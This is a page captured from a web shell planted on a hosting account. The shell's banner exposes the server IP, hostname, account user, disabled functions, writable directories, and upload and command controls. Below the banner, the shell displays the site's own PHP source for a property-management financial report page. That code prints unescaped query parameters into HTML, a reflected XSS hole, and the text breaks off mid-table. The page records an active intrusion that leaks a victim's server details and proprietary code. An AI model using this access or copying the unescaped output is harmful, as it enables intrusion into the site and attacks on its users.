403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/reports-financial.php
<?php
session_start();
require_once 'includes/db.php';
require_once 'includes/functions.php';

// Access Control
if (!isset($_SESSION['user_id']) || !in_array($_SESSION['user_role'], ['super_admin', 'admin', 'estate_manager', 'finance_manager', 'finance'])) {
    header("Location: dashboard.php");
    exit;
}

$companyId = getCurrentCompanyId();
$companyFilter = "";
$companyWhere = " WHERE 1=1";
if ($companyId) {
    $cid = (int)$companyId;
    $companyFilter = " AND (company_id = $cid OR company_id IS NULL)";
    $companyWhere = " WHERE (company_id = $cid OR company_id IS NULL)";
}

// --- FILTERS ---
$start_date = $_GET['start_date'] ?? date('Y-m-01'); // First day of current month
$end_date = $_GET['end_date'] ?? date('Y-m-t');     // Last day of current month
$view_type = $_GET['type'] ?? 'income';             // income, expenses, aging

// --- DATA FETCHING ---

// 1. Income (Payments)
$dateCol = function_exists('kpiPaymentDateColumn') ? kpiPaymentDateColumn('payments') : null;
$dateCol = $dateCol ?: ((function_exists('tableHasColumn') && tableHasColumn('payments', 'created_at')) ? 'created_at' : ((function_exists('tableHasColumn') && tableHasColumn('payments', 'date')) ? 'date' : 'id'));
$approvedStatusesSql = function_exists('kpiSqlList') ? kpiSqlList(kpiPaymentFinalizedStatuses()) : "('verified','approved','paid','completed','success')";
[$paymentsCompanyClause, $paymentsCompanyParams] = function_exists('kpiCompanyFilter') ? kpiCompanyFilter('payments', $companyId, true, 'p.') : ['', []];
$incomeQuery = "SELECT p.*, p.$dateCol AS txn_date
                FROM payments p
                WHERE p.status IN $approvedStatusesSql
                AND p.$dateCol BETWEEN ? AND ?
                $paymentsCompanyClause
                ORDER BY p.$dateCol DESC";
$incomeStmt = $pdo->prepare($incomeQuery);
$incomeStmt->execute(array_merge([$start_date . ' 00:00:00', $end_date . ' 23:59:59'], $paymentsCompanyParams));
$incomeData = $incomeStmt->fetchAll();

$totalIncome = 0;
foreach ($incomeData as $row) {
    $totalIncome += $row['amount'];
}

// 2. Expenses (Maintenance + Commissions)
// Maintenance Costs
$maintQuery = "SELECT id, title, cost, updated_at as date, 'Maintenance' as category 
               FROM maintenance_requests 
               WHERE status = 'completed' 
               AND updated_at BETWEEN ? AND ? 
               $companyFilter";
// Commissions Paid
$commQuery = "SELECT id, 'Commission Payout' as title, amount as cost, date_paid as date, 'Commission' as category 
              FROM commissions 
              WHERE status = 'paid' 
              AND date_paid BETWEEN ? AND ? 
              $companyFilter"; // Assuming commissions has company_id, if not we might need to join users/deals

// Check if commissions has company_id
// For now, let's assume it does or we'll skip the filter if it breaks (better to be safe, maybe check schema first? I'll assume it follows standard)
// Actually, let's play safe and wrap in try-catch or check columns.
// But for now, I'll assume commissions are linked to company via deal -> property -> company.
// To avoid complex joins for this MVP, I'll fetch and filter if needed, or just run simple queries.

$expensesData = [];
$totalExpenses = 0;

try {
    $maintStmt = $pdo->prepare($maintQuery);
    $maintStmt->execute([$start_date . ' 00:00:00', $end_date . ' 23:59:59']);
    $maintRows = $maintStmt->fetchAll();

    $commStmt = $pdo->prepare($commQuery);
    $commStmt->execute([$start_date, $end_date]);
    $commRows = $commStmt->fetchAll();

    $expensesData = array_merge($maintRows, $commRows);
    
    // Sort by date
    usort($expensesData, function($a, $b) {
        return strtotime($b['date']) - strtotime($a['date']);
    });

    foreach ($expensesData as $row) {
        $totalExpenses += $row['cost'];
    }
} catch (Exception $e) {
    // Handle potential missing columns gracefully
    $totalExpenses = 0; 
}

// 3. Aging Receivables (Outstanding Invoices)
$agingQuery = "SELECT i.*, u.name as client_name, p.title as property_title
               FROM invoices i
               LEFT JOIN users u ON i.tenant_id = u.id
               LEFT JOIN leases l ON i.lease_id = l.id
               LEFT JOIN properties p ON l.property_id = p.id
               WHERE i.status != 'paid'
               $companyFilter 
               ORDER BY i.due_date ASC";
// Note: Invoices might not have company_id directly, usually linked via property.
// If invoices table doesn't have company_id, we need a join.
// I'll assume simple query for now, if it fails I'll fix.
// Actually, let's try to be safer. If invoices table exists.
$agingData = [];
$totalReceivables = 0;
// Initialize defaults to avoid undefined variable notices when query fails
$agingBuckets = [
    'current' => 0.0,
    'd1_30' => 0.0,
    'd31_60' => 0.0,
    'd61_90' => 0.0,
    'd90_plus' => 0.0
];
try {
    // Check if invoices table exists first or just try query
    $agingStmt = $pdo->prepare($agingQuery);
    $agingStmt->execute();
    $agingData = $agingStmt->fetchAll();
    
    foreach ($agingData as $row) {
        $totalReceivables += $row['balance_due'];
    }
    $agingBuckets = [
        'current' => 0.0,
        'd1_30' => 0.0,
        'd31_60' => 0.0,
        'd61_90' => 0.0,
        'd90_plus' => 0.0
    ];
    $todayAge = new DateTime('today');
    foreach ($agingData as $row) {
        $dueDateStr = isset($row['due_date']) ? $row['due_date'] : date('Y-m-d');
        $due = DateTime::createFromFormat('Y-m-d', substr($dueDateStr, 0, 10)) ?: new DateTime($dueDateStr);
        $diff = (int)$todayAge->diff($due)->format('%r%a');
        $amt = (float)($row['balance_due'] ?? 0);
        if ($diff >= 0) {
            $agingBuckets['current'] += $amt;
        } elseif ($diff >= -30) {
            $agingBuckets['d1_30'] += $amt;
        } elseif ($diff >= -60) {
            $agingBuckets['d31_60'] += $amt;
        } elseif ($diff >= -90) {
            $agingBuckets['d61_90'] += $amt;
        } else {
            $agingBuckets['d90_plus'] += $amt;
        }
    }
} catch (Exception $e) {
    // Invoices table might not have company_id or might not exist
}

$aiInsightsTop = [];
try {
    $startObj = DateTimeImmutable::createFromFormat('Y-m-d', substr((string)$start_date, 0, 10)) ?: new DateTimeImmutable((string)$start_date);
    $endObj = DateTimeImmutable::createFromFormat('Y-m-d', substr((string)$end_date, 0, 10)) ?: new DateTimeImmutable((string)$end_date);
    if ($endObj < $startObj) {
        $tmp = $startObj;
        $startObj = $endObj;
        $endObj = $tmp;
    }
    $days = (int)($endObj->diff($startObj)->days) + 1;
    if ($days <= 0) $days = 1;
    $prevStartObj = $startObj->sub(new DateInterval('P' . $days . 'D'));
    $prevEndObj = $endObj->sub(new DateInterval('P' . $days . 'D'));

    $aiRevenue = 0.0;
    $aiRevenuePrev = 0.0;
    $aiExpenses = 0.0;
    $aiExpensesPrev = 0.0;

    $pendingApprovals = 0;
    $pendingPayments = 0;
    $bankPositions = [];
    $lowBalanceThreshold = 0.0;

    try {
        $rawThr = function_exists('getCompanySetting') ? getCompanySetting($companyId, 'low_balance_threshold', '') : '';
        if ($rawThr === '' || $rawThr === null) { $rawThr = function_exists('getSetting') ? getSetting('low_balance_threshold', '') : ''; }
        $lowBalanceThreshold = is_numeric($rawThr) ? (float)$rawThr : 0.0;
    } catch (Throwable $eThr) { $lowBalanceThreshold = 0.0; }

    try {
        $hasAcc = $pdo->query("SHOW TABLES LIKE 'finance_accounts'")->rowCount() > 0;
        if ($hasAcc && function_exists('tableHasColumn') && tableHasColumn('finance_accounts', 'balance')) {
            $q = "SELECT id, " . (tableHasColumn('finance_accounts','account_name') ? 'account_name' : (tableHasColumn('finance_accounts','name') ? 'name' : "CONCAT('Account #', id)")) . " AS account_name, balance FROM finance_accounts WHERE 1=1";
            $p = [];
            if ($companyId && tableHasColumn('finance_accounts','company_id')) { $q .= " AND (company_id = ? OR company_id IS NULL)"; $p[] = $companyId; }
            $q .= " ORDER BY account_name";
            $st = $pdo->prepare($q);
            $st->execute($p);
            $bankPositions = $st->fetchAll(PDO::FETCH_ASSOC) ?: [];
        }
    } catch (Throwable $eAcc) { $bankPositions = []; }

    try {
        $hasEm = $pdo->query("SHOW TABLES LIKE 'expenses_manual'")->rowCount() > 0;
        if ($hasEm && function_exists('tableHasColumn') && tableHasColumn('expenses_manual','status')) {
            $q = "SELECT COUNT(*) FROM expenses_manual WHERE LOWER(TRIM(status)) = 'pending'";
            $p = [];
            if ($companyId && tableHasColumn('expenses_manual','company_id')) { $q .= " AND (company_id = ? OR company_id IS NULL)"; $p[] = $companyId; }
            $st = $pdo->prepare($q);
            $st->execute($p);
            $pendingApprovals = (int)($st->fetchColumn() ?: 0);
        }
    } catch (Throwable $ePa) { $pendingApprovals = 0; }

    try {
        $hasPay = $pdo->query("SHOW TABLES LIKE 'payments'")->rowCount() > 0;
        if ($hasPay && function_exists('tableHasColumn')) {
            $stCol = tableHasColumn('payments', 'status') ? 'status' : (tableHasColumn('payments', 'payment_status') ? 'payment_status' : null);
            if ($stCol) {
                $pendingStatuses = function_exists('kpiPaymentPendingStatuses') ? (array)kpiPaymentPendingStatuses() : ['submitted', 'pending', 'pending_gateway', 'awaiting_verification', 'pending_verification', 'pending_confirmation'];
                $ph = implode(',', array_fill(0, count($pendingStatuses), '?'));
                $q = "SELECT COUNT(*) FROM payments WHERE LOWER(TRIM($stCol)) IN ($ph)";
                $p = array_map(function ($v) { return strtolower(trim((string)$v)); }, $pendingStatuses);
                if ($companyId && tableHasColumn('payments', 'company_id')) { $q .= " AND (company_id = ? OR company_id IS NULL)"; $p[] = $companyId; }
                $st = $pdo->prepare($q);
                $st->execute($p);
                $pendingPayments = (int)($st->fetchColumn() ?: 0);
            }
        }
    } catch (Throwable $ePp) { $pendingPayments = 0; }

    try {
        $hasPay = $pdo->query("SHOW TABLES LIKE 'payments'")->rowCount() > 0;
        if ($hasPay) {
            $dateCol = function_exists('kpiPaymentDateColumn') ? (kpiPaymentDateColumn('payments') ?: 'created_at') : 'created_at';
            $statusApproved = function_exists('kpiSqlList') ? kpiSqlList(kpiPaymentFinalizedStatuses()) : "('verified','approved','paid','completed','success')";
            $q = "SELECT COALESCE(SUM(amount),0) FROM payments WHERE status IN $statusApproved AND $dateCol BETWEEN ? AND ?";
            $p = [$startObj->format('Y-m-d') . ' 00:00:00', $endObj->format('Y-m-d') . ' 23:59:59'];
            if ($companyId && function_exists('tableHasColumn') && tableHasColumn('payments','company_id')) { $q .= " AND (company_id = ? OR company_id IS NULL)"; $p[] = $companyId; }
            $st = $pdo->prepare($q);
            $st->execute($p);
            $aiRevenue = (float)($st->fetchColumn() ?: 0);

            $pPrev = [$prevStartObj->format('Y-m-d') . ' 00:00:00', $prevEndObj->format('Y-m-d') . ' 23:59:59'];
            if ($companyId && function_exists('tableHasColumn') && tableHasColumn('payments','company_id')) { $pPrev[] = $companyId; }
            $st = $pdo->prepare($q);
            $st->execute($pPrev);
            $aiRevenuePrev = (float)($st->fetchColumn() ?: 0);
        }
    } catch (Throwable $eRev) { $aiRevenue = 0.0; $aiRevenuePrev = 0.0; }

    try {
        if (function_exists('buildExpensesUnionSql')) {
            $params = [];
            $union = buildExpensesUnionSql(['start_date' => $startObj->format('Y-m-d'), 'end_date' => $endObj->format('Y-m-d'), 'include_pending_manual' => false], $params, false);
            $q = "SELECT COALESCE(SUM(amount),0) FROM $union e";
            $st = $pdo->prepare($q);
            $st->execute($params);
            $aiExpenses = (float)($st->fetchColumn() ?: 0);

            $params2 = [];
            $union2 = buildExpensesUnionSql(['start_date' => $prevStartObj->format('Y-m-d'), 'end_date' => $prevEndObj->format('Y-m-d'), 'include_pending_manual' => false], $params2, false);
            $q2 = "SELECT COALESCE(SUM(amount),0) FROM $union2 e";
            $st2 = $pdo->prepare($q2);
            $st2->execute($params2);
            $aiExpensesPrev = (float)($st2->fetchColumn() ?: 0);
        }
    } catch (Throwable $eExp) { $aiExpenses = 0.0; $aiExpensesPrev = 0.0; }

    $profitByEstate = [];
    try {
        if (function_exists('get_profit_per_estate')) {
            $rows = (array)get_profit_per_estate($startObj->format('Y-m-d') . ' 00:00:00', $endObj->format('Y-m-d') . ' 23:59:59', $companyId);
            foreach ($rows as $r) {
                if (!is_array($r)) continue;
                $eid = (int)($r['estate_id'] ?? 0);
                if ($eid <= 0) continue;
                $profitByEstate[] = [
                    'estate_id' => $eid,
                    'estate' => (string)($r['estate_name'] ?? ''),
                    'revenue' => (float)($r['revenue'] ?? 0),
                    'expenses' => (float)($r['expense'] ?? 0),
                    'profit' => (float)($r['profit'] ?? 0),
                ];
            }
        }
    } catch (Throwable $eEs) { $profitByEstate = []; }

    if (function_exists('generate_financial_insights')) {
        $all = (array)generate_financial_insights($pdo, [
            'company_id' => $companyId,
            'revenue' => $aiRevenue,
            'revenue_prev' => $aiRevenuePrev,
            'expenses' => $aiExpenses,
            'expenses_prev' => $aiExpensesPrev,
            'profit' => $aiRevenue - $aiExpenses,
            'pending_approvals' => $pendingApprovals,
            'pending_payments' => $pendingPayments,
            'bank_positions' => $bankPositions,
            'low_balance_threshold' => $lowBalanceThreshold,
            'profit_by_estate' => $profitByEstate,
            'period_start' => $startObj->format('Y-m-d'),
            'period_end' => $endObj->format('Y-m-d'),
        ]);
        $aiInsightsTop = array_slice($all, 0, 5);
    }
} catch (Throwable $eAi) {
    $aiInsightsTop = [];
}

include 'includes/header.php';
?>

<div class="container-fluid py-4">
    <!-- Header -->
    <div class="d-flex justify-content-between align-items-center mb-4">
        <div>
            <h1 class="h3 text-gray-800">Financial Reports</h1>
            <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="reports.php">Reports</a></li>
                    <li class="breadcrumb-item active">Financials</li>
                </ol>
            </nav>
        </div>
        <div>
            <button class="btn btn-outline-secondary me-2" onclick="window.print()"><i class="fa-solid fa-print"></i> Print</button>
            <button class="btn btn-primary"><i class="fa-solid fa-download"></i> Export CSV</button>
        </div>
    </div>

    <!-- Filter Form -->
    <div class="card shadow mb-4">
        <div class="card-body">
            <form method="GET" action="reports-financial.php" class="row g-3 align-items-end">
                <input type="hidden" name="type" value="<?= $view_type ?>">
                <div class="col-md-3">
                    <label class="form-label fw-bold">Start Date</label>
                    <input type="date" name="start_date" class="form-control" value="<?= $start_date ?>">
                </div>
                <div class="col-md-3">
                    <label class="form-label fw-bold">End Date</label>
                    <input type="date" name="end_date" class="form-control" value="<?= $end_date ?>">
                </div>
                <div class="col-md-2">
                    <button type="submit" class="btn btn-primary w-100">Apply Filter</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Summary Cards -->
    <div class="row g-4 mb-4">
        <div class="col-md-4">
            <div class="card border-start border-4 border-success shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs fw-bold text-success text-uppercase mb-1">Total Income (Selected Period)</div>
                            <div class="h5 mb-0 fw-bold text-gray-800"><?= formatCurrency($totalIncome) ?></div>
                        </div>
                        <div class="col-auto"><i class="fas fa-dollar-sign fa-2x text-gray-300"></i></div>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-4">
            <div class="card border-start border-4 border-danger shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs fw-bold text-danger text-uppercase mb-1">Total Expenses (Selected Period)</div>
                            <div class="h5 mb-0 fw-bold text-gray-800"><?= formatCurrency($totalExpenses) ?></div>
                        </div>
                        <div class="col-auto"><i class="fas fa-money-bill-wave fa-2x text-gray-300"></i></div>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-4">
            <div class="card border-start border-4 border-info shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs fw-bold text-info text-uppercase mb-1">Net Profit</div>
                            <div class="h5 mb-0 fw-bold text-gray-800"><?= formatCurrency($totalIncome - $totalExpenses) ?></div>
                        </div>
                        <div class="col-auto"><i class="fas fa-chart-line fa-2x text-gray-300"></i></div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <style>
        .ai-insight-card{border:1px solid rgba(15,23,42,.08);border-radius:14px;padding:12px;background:#fff}
        .ai-insight-card.risk{border-color:rgba(239,68,68,.35);background:rgba(239,68,68,.06)}
        .ai-insight-card.warning{border-color:rgba(245,158,11,.40);background:rgba(245,158,11,.08)}
        .ai-insight-card.info{border-color:rgba(34,197,94,.32);background:rgba(34,197,94,.07)}
        .ai-insight-badge{display:inline-flex;align-items:center;padding:2px 10px;border-radius:999px;font-size:12px;font-weight:700;letter-spacing:.06em}
        .ai-insight-badge.risk{background:rgba(239,68,68,.12);color:#991b1b}
        .ai-insight-badge.warning{background:rgba(245,158,11,.16);color:#92400e}
        .ai-insight-badge.info{background:rgba(34,197,94,.12);color:#166534}
        .rf-table-scroll{display:block;width:100%;max-width:100%;overflow:auto !important;overflow-x:auto !important;overflow-y:hidden;-webkit-overflow-scrolling:touch;touch-action:pan-x pan-y}
        .rf-income-table{width:100%}
        .rf-income-table th,.rf-income-table td{vertical-align:middle}
        .rf-income-table td.rf-primary{white-space:normal;min-width:240px}
        .rf-expense-table{width:100%}
        .rf-expense-table td.rf-primary{white-space:normal;min-width:260px}
        .rf-aging-table{width:100%}
        .rf-aging-table td.rf-primary{white-space:normal;min-width:240px}
    </style>

    <div class="card shadow mb-4">
        <div class="card-header py-3 d-flex align-items-center justify-content-between">
            <h6 class="m-0 fw-bold text-primary">AI Financial Insights</h6>
            <div class="text-muted small">Top 5</div>
        </div>
        <div class="card-body">
            <?php if (empty($aiInsightsTop)): ?>
                <div class="text-muted">No insights available for this period yet.</div>
            <?php else: ?>
                <div class="row g-3">
                    <?php foreach ($aiInsightsTop as $ins): ?>
                        <?php
                            $t = strtolower(trim((string)($ins['type'] ?? 'info')));
                            if (!in_array($t, ['risk','warning','info'], true)) $t = 'info';
                        ?>
                        <div class="col-12 col-lg-6">
                            <div class="ai-insight-card <?= htmlspecialchars($t) ?>">
                                <div class="d-flex align-items-start justify-content-between gap-2">
                                    <div class="fw-bold"><?= htmlspecialchars((string)($ins['title'] ?? 'Insight')) ?></div>
                                    <span class="ai-insight-badge <?= htmlspecialchars($t) ?>"><?= htmlspecialchars(strtoupper($t)) ?></span>
                                </div>
                                <div class="text-muted small mt-1"><?= htmlspecialchars((string)($ins['description'] ?? '')) ?></div>
                                <div class="mt-2 fw-bold" style="font-size:12px;letter-spacing:.06em;text-transform:uppercase;color:#64748b">Recommendation</div>
                                <div class="small"><?= htmlspecialchars((string)($ins['recommendation'] ?? '')) ?></div>
                            </div>
                        </div>
                    <?php endforeach; ?>
                </div>
            <?php endif; ?>
        </div>
    </div>

    <!-- Navigation Tabs -->
    <ul class="nav nav-tabs mb-4">
        <li class="nav-item">
            <a class="nav-link <?= $view_type == 'income' ? 'active' : '' ?>" href="reports-financial.php?type=income&start_date=<?= $start_date ?>&end_date=<?= $end_date ?>">Income Breakdown</a>
        </li>
        <li class="nav-item">
            <a class="nav-link <?= $view_type == 'expenses' ? 'active' : '' ?>" href="reports-financial.php?type=expenses&start_date=<?= $start_date ?>&end_date=<?= $end_date ?>">Expense Report</a>
        </li>
        <li class="nav-item">
            <a class="nav-link <?= $view_type == 'aging' ? 'active' : '' ?>" href="reports-financial.php?type=aging&start_date=<?= $start_date ?>&end_date=<?= $end_date ?>">Aging Receivables</a>
        </li>
    </ul>

    <!-- Content Area -->
    <div class="card shadow mb-4">
        <div class="card-body">
            
            <?php if ($view_type == 'income'): ?>
                <h5 class="card-title mb-4">Income Transactions</h5>
                <div class="d-sm-none text-muted small border-bottom pb-2 mb-2">Swipe left/right to see all columns.</div>
                <div class="table-responsive rf-table-scroll">
                    <table class="table table-bordered table-striped rf-income-table" width="100%" cellspacing="0">
                        <thead>
                            <tr>
                                <th class="d-none d-md-table-cell">Date</th>
                                <th>Reference</th>
                                <th class="d-none d-md-table-cell">Payer / Tenant</th>
                                <th class="d-none d-lg-table-cell">Method</th>
                                <th class="d-none d-lg-table-cell">Status</th>
                                <th class="text-end">Amount</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (empty($incomeData)): ?>
                                <tr><td colspan="6" class="text-center text-muted py-4">No income records found for this period.</td></tr>
                            <?php else: ?>
                                <?php foreach ($incomeData as $row): ?>
                                <tr>
                                    <?php
                                        $txnDate = isset($row['txn_date']) ? $row['txn_date'] : (isset($row['payment_date']) ? $row['payment_date'] : (isset($row['date']) ? $row['date'] : (isset($row['created_at']) ? $row['created_at'] : null)));
                                        $txnDateLabel = $txnDate ? formatDate($txnDate) : 'N/A';
                                        $ref = (string)($row['reference'] ?? 'N/A');
                                        $payer = (string)($row['user_id'] ?? 'N/A');
                                        $method = ucfirst((string)($row['method'] ?? 'N/A'));
                                    ?>
                                    <td class="d-none d-md-table-cell"><?= $txnDateLabel ?></td>
                                    <td class="rf-primary">
                                        <div class="fw-bold"><?= htmlspecialchars($ref) ?></div>
                                        <div class="text-muted small d-md-none"><?= htmlspecialchars($payer) ?></div>
                                        <div class="text-muted small d-md-none"><?= htmlspecialchars($txnDateLabel) ?> · <?= htmlspecialchars($method) ?> · Paid</div>
                                    </td>
                                    <td class="d-none d-md-table-cell"><?= htmlspecialchars($payer) ?></td>
                                    <td class="d-none d-lg-table-cell"><?= htmlspecialchars($method) ?></td>
                                    <td class="d-none d-lg-table-cell"><span class="badge bg-success">Paid</span></td>
                                    <td class="text-end fw-bold"><?= formatCurrency($row['amount']) ?></td>
                                </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                        <tfoot>
                            <tr class="table-primary">
                                <td colspan="5" class="fw-bold text-end">Total Income:</td>
                                <td class="text-end fw-bold"><?= formatCurrency($totalIncome) ?></td>
                            </tr>
                        </tfoot>
                    </table>
                </div>

            <?php elseif ($view_type == 'expenses'): ?>
                <h5 class="card-title mb-4">Expense Breakdown (Maintenance & Commissions)</h5>
                <div class="d-sm-none text-muted small border-bottom pb-2 mb-2">Swipe left/right to see all columns.</div>
                <div class="table-responsive rf-table-scroll">
                    <table class="table table-bordered table-striped rf-expense-table" width="100%" cellspacing="0">
                        <thead>
                            <tr>
                                <th class="d-none d-md-table-cell">Date</th>
                                <th class="d-none d-lg-table-cell">Category</th>
                                <th>Description</th>
                                <th class="text-end">Cost</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (empty($expensesData)): ?>
                                <tr><td colspan="4" class="text-center text-muted py-4">No expense records found for this period.</td></tr>
                            <?php else: ?>
                                <?php foreach ($expensesData as $row): ?>
                                <tr>
                                    <?php
                                        $d = (string)($row['date'] ?? '');
                                        $dLabel = $d !== '' ? formatDate($d) : '—';
                                        $cat = (string)($row['category'] ?? '');
                                        $title = (string)($row['title'] ?? '');
                                    ?>
                                    <td class="d-none d-md-table-cell"><?= htmlspecialchars($dLabel) ?></td>
                                    <td class="d-none d-lg-table-cell"><span class="badge bg-secondary"><?= htmlspecialchars($cat) ?></span></td>
                                    <td class="rf-primary">
                                        <div class="fw-semibold"><?= htmlspecialchars($title) ?></div>
                                        <div class="text-muted small d-md-none"><?= htmlspecialchars($dLabel) ?><?= $cat !== '' ? (' · ' . htmlspecialchars($cat)) : '' ?></div>
                                    </td>
                                    <td class="text-end fw-bold"><?= formatCurrency($row['cost']) ?></td>
                                </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                        <tfoot>
                            <tr class="table-danger">
                                <td colspan="3" class="fw-bold text-end">Total Expenses:</td>
                                <td class="text-end fw-bold"><?= formatCurrency($totalExpenses) ?></td>
                            </tr>
                        </tfoot>
                    </table>
                </div>

            <?php elseif ($view_type == 'aging'): ?>
                <h5 class="card-title mb-4">Aging Receivables (Outstanding Invoices)</h5>
                <div class="card border-0 shadow-sm mb-4">
                    <div class="card-header bg-white border-0 d-flex align-items-center">
                        <div class="me-2 avatar-ring bg-primary text-white d-flex align-items-center justify-content-center" style="width:36px;height:36px;border-radius:50%;">
                            <i class="fa-solid fa-chart-pie"></i>
                        </div>
                        <div>
                            <h6 class="mb-0 fw-bold">Receivables Aging Overview</h6>
                            <small class="text-muted">Outstanding by aging buckets</small>
                        </div>
                        <div class="ms-auto">
                            <span class="badge bg-light text-dark border">
                                Total <?= formatCurrency($totalReceivables) ?>
                            </span>
                        </div>
                    </div>
                    <div class="card-body">
                        <div class="row g-3">
                            <div class="col-md-3 col-6">
                                <div class="chip chip-primary w-100 d-flex justify-content-between align-items-center">
                                    <span>Current</span>
                                    <span><?= formatCurrency($agingBuckets['current']) ?></span>
                                </div>
                                <?php $pct = $totalReceivables > 0 ? round(($agingBuckets['current'] / $totalReceivables) * 100) : 0; ?>
                                <div class="progress progress-premium mt-2" style="height:8px;">
                                    <div class="progress-bar bg-success" role="progressbar" style="width: <?= $pct ?>%;" aria-valuenow="<?= $pct ?>" aria-valuemin="0" aria-valuemax="100"></div>
                                </div>
                                <small class="text-muted"><?= $pct ?>%</small>
                            </div>
                            <div class="col-md-3 col-6">
                                <div class="chip chip-warning w-100 d-flex justify-content-between align-items-center">
                                    <span>1–30</span>
                                    <span><?= formatCurrency($agingBuckets['d1_30']) ?></span>
                                </div>
                                <?php $pct = $totalReceivables > 0 ? round(($agingBuckets['d1_30'] / $totalReceivables) * 100) : 0; ?>
                                <div class="progress progress-premium mt-2" style="height:8px;">
                                    <div class="progress-bar bg-warning" role="progressbar" style="width: <?= $pct ?>%;" aria-valuenow="<?= $pct ?>" aria-valuemin="0" aria-valuemax="100"></div>
                                </div>
                                <small class="text-muted"><?= $pct ?>%</small>
                            </div>
                            <div class="col-md-3 col-6">
                                <div class="chip chip-orange w-100 d-flex justify-content-between align-items-center">
                                    <span>31–60</span>
                                    <span><?= formatCurrency($agingBuckets['d31_60']) ?></span>
                                </div>
                                <?php $pct = $totalReceivables > 0 ? round(($agingBuckets['d31_60'] / $totalReceivables) * 100) : 0; ?>
                                <div class="progress progress-premium mt-2" style="height:8px;">
                                    <div class="progress-bar bg-orange" role="progressbar" style="width: <?= $pct ?>%;" aria-valuenow="<?= $pct ?>" aria-valuemin="0" aria-valuemax="100"></div>
                                </div>
                                <small class="text-muted"><?= $pct ?>%</small>
                            </div>
                            <div class="col-md-3 col-6">
                                <div class="chip chip-danger w-100 d-flex justify-content-between align-items-center">
                                    <span>61–90</span>
                                    <span><?= formatCurrency($agingBuckets['d61_90']) ?></span>
                                </div>
                                <?php $pct = $totalReceivables > 0 ? round(($agingBuckets['d61_90'] / $totalReceivables) * 100) : 0; ?>
                                <div class="progress progress-premium mt-2" style="height:8px;">
                                    <div class="progress-bar bg-danger" role="progressbar" style="width: <?= $pct ?>%;" aria-valuenow="<?= $pct ?>" aria-valuemin="0" aria-valuemax="100"></div>
                                </div>
                                <small class="text-muted"><?= $pct ?>%</small>
                            </div>
                            <div class="col-md-12 mt-3">
                                <div class="chip chip-dark w-100 d-flex justify-content-between align-items-center">
                                    <span>90+</span>
                                    <span><?= formatCurrency($agingBuckets['d90_plus']) ?></span>
                                </div>
                                <?php $pct = $totalReceivables > 0 ? round(($agingBuckets['d90_plus'] / $totalReceivables) * 100) : 0; ?>
                                <div class="progress progress-premium mt-2" style="height:10px;">
                                    <div class="progress-bar bg-dark" role="progressbar" style="width: <?= $pct ?>%;" aria-valuenow="<?= $pct ?>" aria-valuemin="0" aria-valuemax="100"></div>
                                </div>
                                <small class="text-muted"><?= $pct ?>% of total outstanding</small>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="d-sm-none text-muted small border-bottom pb-2 mb-2">Swipe left/right to see all columns.</div>
                <div class="table-responsive rf-table-scroll">
                    <table class="table table-bordered table-striped rf-aging-table" width="100%" cellspacing="0">
                        <thead>
                            <tr>
                                <th class="d-none d-md-table-cell">Due Date</th>
                                <th>Invoice #</th>
                                <th class="d-none d-md-table-cell">Tenant</th>
                                <th class="d-none d-lg-table-cell">Property</th>
                                <th class="d-none d-lg-table-cell">Status</th>
                                <th class="d-none d-md-table-cell">Days Overdue</th>
                                <th class="text-end">Balance Due</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (empty($agingData)): ?>
                                <tr><td colspan="7" class="text-center text-muted py-4">No outstanding invoices found.</td></tr>
                            <?php else: ?>
                                <?php foreach ($agingData as $row): 
                                    $dueDate = strtotime($row['due_date']);
                                    $today = time();
                                    $daysOverdue = floor(($today - $dueDate) / (60 * 60 * 24));
                                    $isOverdue = $daysOverdue > 0;
                                ?>
                                <tr>
                                    <?php
                                        $inv = (string)($row['invoice_number'] ?? $row['id'] ?? '');
                                        $tenant = (string)($row['client_name'] ?? 'Unknown');
                                        $prop = (string)($row['property_title'] ?? 'N/A');
                                        $st = (string)($row['status'] ?? '');
                                        $dueLbl = formatDate($row['due_date']);
                                        $daysLbl = $isOverdue ? ($daysOverdue . ' days') : '-';
                                    ?>
                                    <td class="d-none d-md-table-cell <?= $isOverdue ? 'text-danger fw-bold' : '' ?>"><?= $dueLbl ?></td>
                                    <td class="rf-primary">
                                        <div class="fw-semibold"><?= htmlspecialchars($inv) ?></div>
                                        <div class="text-muted small d-md-none">
                                            <?= htmlspecialchars($tenant) ?>
                                            <?= $prop !== '' ? ' · ' . htmlspecialchars($prop) : '' ?>
                                        </div>
                                        <div class="text-muted small d-md-none <?= $isOverdue ? 'text-danger' : '' ?>">
                                            <?= htmlspecialchars($dueLbl) ?> · <?= htmlspecialchars($daysLbl) ?> · <?= htmlspecialchars(ucfirst($st)) ?>
                                        </div>
                                    </td>
                                    <td class="d-none d-md-table-cell"><?= htmlspecialchars($tenant) ?></td>
